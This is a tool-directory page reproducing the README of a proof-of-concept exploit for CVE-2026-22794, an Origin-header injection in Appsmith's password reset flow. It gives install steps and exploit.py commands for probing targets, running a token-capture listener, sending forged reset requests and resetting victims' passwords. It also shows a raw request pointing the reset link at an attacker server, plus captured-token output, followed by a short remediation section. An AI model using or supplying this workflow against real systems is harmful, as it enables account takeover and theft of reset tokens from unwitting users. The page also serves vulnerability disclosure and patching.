Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

Β·Β·FeedsΒ·ContactΒ·PrivacyΒ·Β© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/malikhamza7/cve-2026-22794-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingAuthentication
GitHubmalikhamza7/cve-2026-22794-poc

CVE-2026-22794-POC

πŸ”΄ CVE-2026-22794 - Appsmith Password Reset Account Takeover via Origin Header Injection | PoC Exploit + Nuclei Template

View Repository
77 months agoNot yet reviewed
Website

Most Popular

View all β†’

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools β†’
Share

CVE-2026-22794 - Appsmith Origin Header Injection

Python Version CVE License

πŸ”΄ Critical Security Vulnerability

Password Reset Link Hijacking via Origin Header Manipulation

This repository contains a Proof of Concept (PoC) exploit for CVE-2026-22794, a critical vulnerability in Appsmith that allows attackers to hijack password reset tokens and achieve full account takeover.

πŸ“‹ Vulnerability Summary

FieldValue
CVE IDCVE-2026-22794
Affected SoftwareAppsmith (versions prior to patch)
Vulnerability TypeOrigin Header Injection
ImpactFull Account Takeover
CVSS Score9.1 (Critical)
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionRequired (victim clicks link)

🎯 Vulnerability Description

Appsmith uses the HTTP Origin header without validation to construct password reset and email verification URLs. The vulnerable code directly assigns the Origin header to the password reset base URL:

root@kitploit:~
userPasswordDTO.setBaseUrl(originHeader);

This allows an attacker to:

  1. Trigger a password reset for any email address
  2. Inject a malicious Origin header pointing to an attacker-controlled server
  3. Capture the password reset token when the victim clicks the link
  4. Use the token to reset the victim's password and take over their account

πŸ”₯ Attack Chain

root@kitploit:~
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                     ATTACK FLOW                                  β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”                    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”                    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
  β”‚ ATTACKER β”‚                    β”‚ APPSMITH β”‚                    β”‚  VICTIM  β”‚
  β””β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”˜                    β””β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”˜                    β””β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”˜
       β”‚                               β”‚                               β”‚
       β”‚ 1. POST /forgotPassword       β”‚                               β”‚
       β”‚    Origin: attacker.com       β”‚                               β”‚
       β”‚    email: [email protected]     β”‚                               β”‚
       │──────────────────────────────>β”‚                               β”‚
       β”‚                               β”‚                               β”‚
       β”‚                               β”‚ 2. Send email with            β”‚
       β”‚                               β”‚    attacker.com/reset?token   β”‚
       β”‚                               │──────────────────────────────>β”‚
       β”‚                               β”‚                               β”‚
       β”‚ 3. Victim clicks link         β”‚                               β”‚
       β”‚<──────────────────────────────────────────────────────────────│
       β”‚                               β”‚                               β”‚
       β”‚ 4. Token captured!            β”‚                               β”‚
       β”‚                               β”‚                               β”‚
       β”‚ 5. POST /resetPassword        β”‚                               β”‚
       β”‚    token: STOLEN_TOKEN        β”‚                               β”‚
       β”‚    password: attacker123      β”‚                               β”‚
       │──────────────────────────────>β”‚                               β”‚
       β”‚                               β”‚                               β”‚
       β”‚ 6. ACCOUNT TAKEOVER! βœ“        β”‚                               β”‚
       β”‚                               β”‚                               β”‚

πŸ“¦ Installation

root@kitploit:~
# Clone the repository
git clone https://github.com/MalikHamza7/CVE-2026-22794-POC
cd CVE-2026-22794-POC

# Install dependencies
pip install -r requirements.txt

πŸš€ Usage

Check if target is vulnerable

root@kitploit:~
python exploit.py --target https://appsmith.target.com --check

Start token capture server

root@kitploit:~
python exploit.py --listen --port 8080

Send malicious password reset request

root@kitploit:~
python exploit.py \
    --target https://appsmith.target.com \
    --email [email protected] \
    --attacker-url https://your-server.com

Full automated attack

root@kitploit:~
python exploit.py \
    --target https://appsmith.target.com \
    --email [email protected] \
    --attacker-url https://your-server.com \
    --listen --port 8080

Use captured token to reset password

root@kitploit:~
python exploit.py \
    --target https://appsmith.target.com \
    --reset-token CAPTURED_TOKEN \
    --new-password "NewP@ssw0rd!"

πŸ“Έ Attack Demonstration

Step 1: Attacker sends malicious request

root@kitploit:~
POST /api/v1/users/forgotPassword HTTP/1.1
Host: appsmith.target.com
Origin: https://attacker-server.com
Content-Type: application/json

{
  "email": "[email protected]"
}

Step 2: Victim receives email with malicious link

root@kitploit:~
Password Reset Link: https://attacker-server.com/user/resetPassword?token=abc123xyz...

Step 3: Attacker captures token

root@kitploit:~
[+] INCOMING REQUEST CAPTURED!
[*] Path: /user/resetPassword?token=abc123xyz789...
[!!!] PASSWORD RESET TOKEN CAPTURED!
[!!!] Token: abc123xyz789...

Step 4: Account takeover

root@kitploit:~
[+] ACCOUNT TAKEOVER SUCCESSFUL!
[+] Password has been reset to: NewP@ssw0rd!

πŸ›‘οΈ Remediation

Organizations using Appsmith should:

  1. Update immediately to the latest patched version
  2. Validate Origin headers against a whitelist of allowed domains
  3. Use server-side configuration for generating password reset URLs
  4. Implement additional verification (e.g., IP validation, short token expiry)

Secure Code Example

root@kitploit:~
// ❌ VULNERABLE CODE
userPasswordDTO.setBaseUrl(originHeader);

// βœ… SECURE CODE
String configuredBaseUrl = applicationConfiguration.getBaseUrl();
// Or validate against whitelist
if (!allowedOrigins.contains(originHeader)) {
    throw new InvalidOriginException("Invalid origin header");
}
userPasswordDTO.setBaseUrl(configuredBaseUrl);

πŸ“ Repository Structure

root@kitploit:~
CVE-2026-22794/
β”œβ”€β”€ README.md           # This file
β”œβ”€β”€ exploit.py          # Main exploit script
β”œβ”€β”€ requirements.txt    # Python dependencies
β”œβ”€β”€ LICENSE             # MIT License
└── docs/
    └── technical_analysis.md  # Detailed vulnerability analysis

⚠️ Legal Disclaimer

This tool is provided for authorized security testing and educational purposes only.

  • Only use this tool against systems you own or have explicit written permission to test
  • Unauthorized access to computer systems is illegal
  • The author is not responsible for any misuse of this tool
  • Always follow responsible disclosure practices

πŸ“„ References

  • CVE-2026-22794
  • OWASP - Forgot Password Cheat Sheet
  • CWE-346: Origin Validation Error

πŸ‘€ Author

Security Researcher

  • GitHub: @MalikHamza7
  • LinkedIn: Your LinkedIn Profile

πŸ“œ License

This project is licensed under the MIT License - see the LICENSE file for details.


⭐ If you found this useful, please star the repository! ⭐

Download Tool